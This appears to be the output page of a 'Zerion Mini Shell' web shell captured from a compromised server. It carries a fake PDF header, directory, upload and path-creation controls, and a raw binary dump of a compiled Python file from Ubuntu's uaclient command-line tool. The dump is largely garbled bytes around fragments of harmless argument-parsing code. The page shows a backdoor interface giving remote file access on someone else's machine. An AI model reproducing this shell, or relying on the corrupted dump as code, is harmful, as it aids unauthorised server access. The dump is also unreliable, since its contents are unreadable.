%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/uaclient/cli/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/uaclient/cli/__pycache__/cli_api.cpython-312.pyc

�

��>f���z�ddlZddlZddlmZddlmZmZddlmZm	Z	ddl
mZddlm
Z
Gd�de�Zd	�Zd
�Zy)�N)�OrderedDict)�Any�Optional)�
exceptions�messages)�AbstractProgress)�call_apic	�0�eZdZdededeedeefd�Zy)�CLIAPIProgress�total_steps�
done_steps�previous_step_message�current_step_messagec�|�t�}||d<||d<||d<||d<ttj|��y)Nrr
rr)r�print�json�dumps)�selfrr
rr�ds      �6/usr/lib/python3/dist-packages/uaclient/cli/cli_api.py�progresszCLIAPIProgress.progresssD��
�M��&��-��$��,��%:��
!�"�$8��
 �!�
�d�j�j��m��N)�__name__�
__module__�__qualname__�intr�strr�rrrrs7��
��
��	
�
 (��}�
�'�s�m�

rrc��|jr |jrtj��|jrP|jdk(rAtj
j
�s#tj
j�|_|jrt�}nd}t|j|j|j||�}t|j��|jdk(rdSdS)N�-�successr�)�options�datar�CLIAPIOptionsXORData�sys�stdin�isatty�read�
show_progressrr	�
endpoint_pathr�to_json�result)�args�cfg�kwargsrr-s     r�
action_apir1s����|�|��	�	��-�-�/�/��y�y�T�Y�Y�#�%��y�y���!��	�	���(�D�I����!�#����
����D�L�L�$�)�)�S�(��F�
�&�.�.�
���
�
��*�1�1��1rc���|jdtj��}d|_tj|_|j
ddtj��|j
ddtj��|j
d	d
gdtj��|j
d
ddtj��|jt��|S)z5Build or extend an arg parser for the api subcommand.�api)�helpr+�endpoint)�metavarr4z--show-progress�
store_true)�actionr4z--argsr#�*)�dest�default�nargsr4z--datar$�)r:r;r4)r8)
�
add_parserr�CLI_ROOT_API�prog�CLI_API_DESC�description�add_argument�CLI_API_ENDPOINT�CLI_API_SHOW_PROGRESS�CLI_API_ARGS�CLI_API_DATA�set_defaultsr1)�
subparsersr/�parsers   rr>r>0s���
�
"�
"�5�x�/D�/D�
"�
E�F��F�K�!�.�.�F��
�����(�2K�2K��������
�
+�
+���
����
���
�
"�
"�������v�r��0E�0E������z��*��Mr)rr&�collectionsr�typingrr�uaclientrr�uaclient.apir�uaclient.api.apir	rr1r>rrr�<module>rPs1���
�#� �)�)�%��%��"2�(r

Zerion Mini Shell 1.0